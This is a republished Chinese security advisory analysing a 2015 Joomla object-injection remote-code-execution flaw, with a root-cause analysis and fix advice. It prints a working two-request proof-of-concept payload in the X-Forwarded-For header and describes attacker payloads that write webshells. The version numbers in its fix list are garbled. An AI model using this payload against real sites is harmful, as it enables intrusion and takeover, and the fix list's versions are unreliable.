閱讀408 返回首頁    go 阿裏雲 go 技術社區[雲棲]


Joomla 對象注入漏洞分析報告

本文講的是 Joomla 對象注入漏洞分析報告,近日,Joomla再曝高危0day漏洞,可進行遠程命令執行,阿裏雲雲盾昨日已上線相應的攔截規則抵禦該漏洞。同時,對雲托管客戶已經做了電話通知和自動漏洞修複。統計數據顯示,截至16日淩晨,已有數百個惡意IP嚐試使用該漏洞對阿裏雲網站發起攻擊,雲盾已成功攔截上萬次攻擊請求,其中攻擊請求數排名第一的黑客在一小時內嚐試入侵超過1000個 Joomla 網站。

根據此次漏洞情況,Joomla 官方已緊急放出了3.4.6版本。joomla用戶除了盡快升級至最新版本,也可采用阿裏雲安全團隊給出的更為完善的修複方案,對網站進行加固,詳情可參考:0x03漏洞修複。

0x00 漏洞介紹

昨日,Joomla 安全團隊緊急發布了 Joomla 3.4.6 版本,修複了一個高危 0day 漏洞。該漏洞影響了 1.5 到 3.4.5 的所有版本,漏洞利用無須登錄,直接在前台即可執行任意PHP代碼。

0x01 漏洞利用

將惡意代碼放在 User-Agent 或 X-Forwarded-For 中發送給網站,將網站返回的cookie值帶入第二個請求中,即可觸發漏洞。或是在第一個請求中指定cookie值,在第二次中帶上同樣cookie值也能觸發漏洞。

請求一:

GET / HTTP/1.1

Host: 127.0.0.1

X-Forwarded-For: }__test|O:21:”JDatabaseDriverMysqli”:3:{s:2:”fc”;O:17:”JSimplepieFactory”:0:{}s:21:”\0\0\0disconnectHandlers”;a:1:{i:0;a:2:{i:0;O:9:”SimplePie”:5:{s:8:”sanitize”;O:20:”JDatabaseDriverMysql”:0:{}s:8:”feed_url”;s:37:”phpinfo();JFactory::getConfig();exit;”;s:19:”cache_name_function”;s:6:”assert”;s:5:”cache”;b:1;s:11:”cache_class”;O:20:”JDatabaseDriverMysql”:0:{}}i:1;s:4:”init”;}}s:13:”\0\0\0connection”;b:1;}ð

Cookie: 3342514dde143a04dad958b2eb5a748a=pd4nnqlps2suk9r70189jkpdn2

請求二:

GET / HTTP/1.1

Host: 127.0.0.1

Cookie: 3342514dde143a04dad958b2eb5a748a=pd4nnqlps2suk9r70189jkpdn2

如果執行成功,請求二的返回內容中會顯示phpinfo()的執行結果。

0x02 漏洞分析

在libraries/joomla/session/session.php文件中,joomla將HTTP_USER_AGENT和HTTP_X_FORWARDED_FOR直接存入到了session中

……

// Record proxy forwarded for in the session in case we need it later

if (isset($_SERVER[‘HTTP_X_FORWARDED_FOR’]))

{

$this->set(‘session.client.forwarded’,$_SERVER[‘HTTP_X_FORWARDED_FOR’]);

……

// Check for clients browser

if (in_array(‘fix_browser’, $this->_security) && isset($_SERVER[‘HTTP_USER_AGENT’]))

{

$browser = $this->get(‘session.client.browser’);

if ($browser === null)

{

$this->set(‘session.client.browser’, $_SERVER[‘HTTP_USER_AGENT’]);

}

}

繼續跟進joomla對於session的處理方式,在 /libraries/joomla/session/storage.php 內 JSessionStorage 類中,利用session_set_save_handler重新實現了 session 存儲的read()和write()方法,從php手冊中得定義看到,read()、write()方法傳進和傳出的參數會分別自動進行序列化和反序列化,這一部分的序列化操作由PHP內核完成:

image

繼續跟入到read()和write()函數,代碼位於libraries/joomla/session/storage目錄中,從所有session存儲引擎的實現代碼中可以看到,joomla都沒有對 session 的value進行安全處理就進行了寫入操作。 默認情況下,joomla使用了數據庫引擎對 session 進行存儲,這也是本漏洞可以成功利用的條件之一,構造exp時候,利用 Mysql 的字符截斷特性,最終寫入到數據庫中一個被破壞的不合法的反序列化對象,當這個對象被執行read()讀取時候,因為截斷字符的關係, PHP內核(PHP <= 5.6.13)在解析session.client.forwarded後麵字符串時,由於長度Check不一致,導致php_var_unserialize提前退出,返回false,PHP在上一次php_var_unserialize失敗的時候,會從之前的指針位置繼續開始下一輪key-value嚐試,在新一輪key-value嚐試中,PHP內核將攻擊者注入的”|”當成了分隔符,進行key-value解析,進行反序列化導致對象方法被執行。

漏洞的本質原因有兩個,一個是php內核的session解析器bug導致的,另一個是mysql數據庫的字符截斷特性。如果使用的session存儲引擎不存在 Mysql 這樣的字符截斷特性,此漏洞就無法複現。我們測試該漏洞時,將joomla配置文件configuration.php中的$session_handler 配置為none,即使用文件係統存儲session,發現漏洞無法成功利用。

0x03漏洞修複

Joomla 官方已經在昨天緊急放出了3.4.6版本。比對代碼後發現,官方此次的升級補丁僅僅在 /libraries/joomla/session/session.php 中刪掉了將HTTP_USER_AGENT寫入SESSION變量中的代碼,增加了對 HTTP_X_FORWARDED_FOR 獲取到IP的合法性驗證,將此次公開的exp中的利用點修複掉了。但官方沒有對JSessionStorage 類中處理session的不安全方式進行修複,因此這個修複方式存在被繞過的可能。隻要攻擊者尋找到新的可控SESSION值的位置,就可用同樣的構造方法觸發漏洞。

下麵給出更為完善的修複方案:

修改 Joomla 根目錄 php ,把 $session_handler 的值改為none,會將session存儲引擎設為文件係統。
把 PHP 版本升到到6.13 或更高的版本。
登錄Joomla後台把程序升級到4.6 或更高的版本。
0x04 威脅現狀

統計數據顯示,截至16日淩晨,已有數百個惡意IP嚐試使用該漏洞對阿裏雲網站發起攻擊,雲盾已成功攔截上萬次攻擊請求,其中攻擊請求數排名第一的黑客在一小時內嚐試入侵超過1000個 Joomla 網站。

對攻擊者使用的攻擊payload分析,大部分攻擊者在第一個請求中都會插入類似 eval(base64_decode($_post[a])) 這樣的代碼,在第二個請求中嚐試向網站根目錄寫入一句話木馬。如果攻擊成功,網站將會被攻擊者完全控製。也有部分攻擊者使用的是網上公開的漏洞檢測payload,如 phpinfo(); 和 md5(233333); ,這些代碼一般不會對網站造成威脅。

原文發布時間為:十二月 16, 2015
本文作者:aqniu
本文來自雲棲社區合作夥伴安全牛,了解相關信息可以關注安全牛。
原文鏈接:https://www.aqniu.com/learn/12585.html

最後更新:2017-09-26 14:33:00

  上一篇:go  Relay2攜邊緣計算產品參加中國移動盛會
  下一篇:go  【阿法狗隻是小兒科】5年內,AI將問鼎星際爭霸,橫掃人類玩家